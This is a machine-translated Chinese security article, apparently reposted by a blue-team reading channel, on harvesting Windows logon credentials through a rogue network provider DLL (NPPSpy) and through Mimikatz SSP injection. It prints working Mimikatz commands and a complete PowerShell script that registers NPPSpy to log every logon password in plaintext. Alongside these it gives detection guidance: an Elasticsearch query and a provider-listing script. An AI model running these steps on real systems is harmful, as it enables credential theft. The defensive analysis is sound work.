开卷有益 · 不求甚解
安全功能Additional LSA Protection和Credential Guard使从内存中提取凭证变得更加困难。例如,域用户的密码是使用 Credential Guard 加密的,并且没有已知的针对本地安全机构子系统服务( LSASS ) 进程的虚拟化的直接攻击。仅允许使用LSA**保护将 Microsoft 签名的安全模块加载到LSASS进程中。
然而,存在规避这两种安全特征的技术。通过操作核心系统,可以禁用虚拟安全模式( VSM ),从而禁用 Credential Guard,通过加载签名内核驱动程序,可以实时禁用LSA保护。这些技术损害了系统的完整性,并留下了可以检测到的明显痕迹。是否有其他技术可以获取对系统完整性要求较低且影响较小的凭证?
用户认证是操作系统的核心功能。Windows 身份验证体系结构包含多个可以访问凭据的组件。当用户向操作系统验证自己的身份时,这些组件可以进一步处理凭据。一个常用的过程是缓存凭证,以便在用户无需再次输入用户名和密码的情况下对其他系统进行身份验证。
安全支持提供程序( SSP )包括Kerberos、NTLM (MSV1)、TLS /SSL (Schannel) 和Digest (WDigest)。安全支持提供程序接口( SSPI ) 支持轻松加载其他安全模块。为此,注册表项Security Packages
必须通过SSP的DLL的名称进行扩展。钥匙位于路径下方HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa\Security Packages
。
LSA保护功能可用于限制仅允许加载由 Microsoft 签名的 SSP——否则任何DLL都可以加载到LSASS进程中。例如,Mimikatz通过mimilib.dll拥有一个可以使用管理权限加载的SSP :
mimikatz(commandline)# privilege::debug
Privilege '20' OKmimikatz(commandline)# misc::memssp
Injected =)
或者,可以将文件mimilib.dll复制到目录中%WINDIR%\system32
,并且Security Packages
必须扩展注册表项——如果不应在目标系统上执行 Mimikatz。加载Mimikatz SSPmimilsa.log
后,凭据会在成功登录后写入。
针对LSA的攻击和SSP的使用已经实践多年,因此大多数技术是已知的,有应对措施,并且各种端点系统都可以检测到攻击技术。
网络提供程序是为特定网络协议提供支持的DLL 。他们使用Network Provider API与操作系统进行通信。网络提供商也可以是凭证管理器。当用户登录或更改密码时,他们会收到通知。
Winlogon提供图形界面 ( GUI ) 和身份验证功能。Winlogon通过RPC**通道与mpnotify通信,并传递用户名和密码。然后mpnotify工具将此信息分发给已注册的凭证管理器。这些可以通过注册表以与SSP相同的方式加载。路径下的注册表项包含所有网络提供商。函数NPLogonNotify用于接收凭据作为凭据管理器。ProviderOrder``HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\NetworkProvider\Order
两年前的 2020 年 7 月,安全研究员Grzegorz Tworek使用NPPS py编写了NPLogonNotify函数的实现*。NPPS* py将登录的用户名和密码以纯文本形式存储在日志文件中。
NPPS py DLL被复制到具有管理权限的文件夹中。 之后,必须设置一些注册表项,并且必须将NPPS py注册为网络提供商。这可以通过以下 PowerShell 命令完成:%WINDIR%\system32
$NetworkProviderName = "NPPSpy"New-Item -Path "HKLM:\SYSTEM\CurrentControlSet\Services\$NetworkProviderName"
New-Item -Path "HKLM:\SYSTEM\CurrentControlSet\Services\$NetworkProviderName\NetworkProvider"
New-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\$NetworkProviderName\NetworkProvider" -Name "Class" -Value 2
New-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\$NetworkProviderName\NetworkProvider" -Name "Name" -Value $NetworkProviderName
New-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\$NetworkProviderName\NetworkProvider" -Name "ProviderPath" -PropertyType ExpandString -Value "%SystemRoot%\System32\$NetworkProviderName.dll"
$NetworkProviderPath = Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\NetworkProvider\Order" -Name ProviderOrder
$NetworkProviderOrder = $NetworkProviderPath.ProviderOrder + ",$NetworkProviderName"
Set-ItemProperty -Path $NetworkProviderPath.PSPath -Name ProviderOrder -Value $NetworkProviderOrder
之后,NPPS pyC:\NPPSpy.txt
处于活动状态,每次有人登录时都会将凭据保存在文件中。
该攻击需要管理权限,因为DLL文件被复制到 Windows 系统目录中,并且注册表项被创建/调整。如果攻击者获得了管理权限,则无法直接阻止攻击。与LSASS流程不同,没有针对网络提供商的强化措施。NPPS py DLL可能会被端点解决方案检测到。
HKLM\SYSTEM\CurrentControlSet\Control\NetworkProvider\Order\ProviderOrder
要检测攻击,应监视注册表项的更改。此外,可以监控注册为网络提供商的服务。文章Network Logon Provider Registry Modification中建议的查询可用于Elasticsearch,例如:
registry where registry.data.strings != null and registry.path : "HKL
M\\SYSTEM\\*ControlSet*\\Services\\*\\NetworkProvider\\ProviderPath"
and /* Excluding default NetworkProviders RDPNP, LanmanWorkstation
and webclient. */ not ( user.id : "S-1-5-18" and
registry.data.strings in
("%SystemRoot%\\System32\\ntlanman.dll",
"%SystemRoot%\\System32\\drprov.dll",
"%SystemRoot%\\System32\\davclnt.dll") )
在 Grzegorz Tworek 的存储库中,还有 PowerShell 脚本Get-NetworkProviders.ps1,其中列出了系统的所有已注册网络提供商。这用于分析网络提供商并列出有关各个DLL文件的附加信息,包括是否由谁签名和签名。
PS C:\> .\Get-NetworkProviders.ps1Name : RDPNP
DllPath : C:\Windows\System32\drprov.dll
Signer : CN=Microsoft Windows, O=Microsoft Corporation, L=Redmond, S=Washington, C=US
Version : 10.0.19041.1 (WinBuild.160101.0800)
Description : Microsoft Remote Desktop Session Host Server Network Provider
Name : LanmanWorkstation
DllPath : C:\Windows\System32\ntlanman.dll
Signer : CN=Microsoft Windows, O=Microsoft Corporation, L=Redmond, S=Washington, C=US
Version : 10.0.19041.1 (WinBuild.160101.0800)
Description : Microsoft® Lan Manager
Name : webclient
DllPath : C:\Windows\System32\davclnt.dll
Signer : CN=Microsoft Windows, O=Microsoft Corporation, L=Redmond, S=Washington, C=US
Version : 10.0.19041.546 (WinBuild.160101.0800)
Description : Web DAV Client DLL
Name : NPPSpy
DllPath : C:\Windows\System32\NPPSPY.dll
Signer :
Version :
Description :
在这种情况下,网络提供商NPPS py是可疑的。攻击者当然可以选择任何名称,但缺少的签名是一个可疑的指标。
针对LSA的攻击很普遍,因此存在一些强化措施以使此类攻击更加困难。LSA攻击的复杂性和要求不断提高。此外,许多端点解决方案检测到并部分阻止了LSA内存的提取。相比之下,使用网络提供商的攻击很容易实施并且受到的监控要少得多。因此,防御者应该为网络提供商实施合适的检测用例。对于攻击者,网络提供商仍然是提取凭据的替代方法。与LSA相比但是,dump 攻击者并不直接获取凭据,而是必须稍后再次访问日志文件,并希望有人已经登录系统。
近期阅读文章
,质量尚可的,大部分较新,但也可能有老文章。开卷有益,不求甚解
,不需面面俱到,能学到一个小技巧就赚了。译文仅供参考
,具体内容表达以及含义, 以原文为准
(译文来自自动翻译)尽量阅读原文
。(点击原文跳转)每日早读
基本自动化发布(不定期删除),这是一项测试
最新动态: Follow Me
微信/微博:
red4blue
公众号/知乎:
blueteams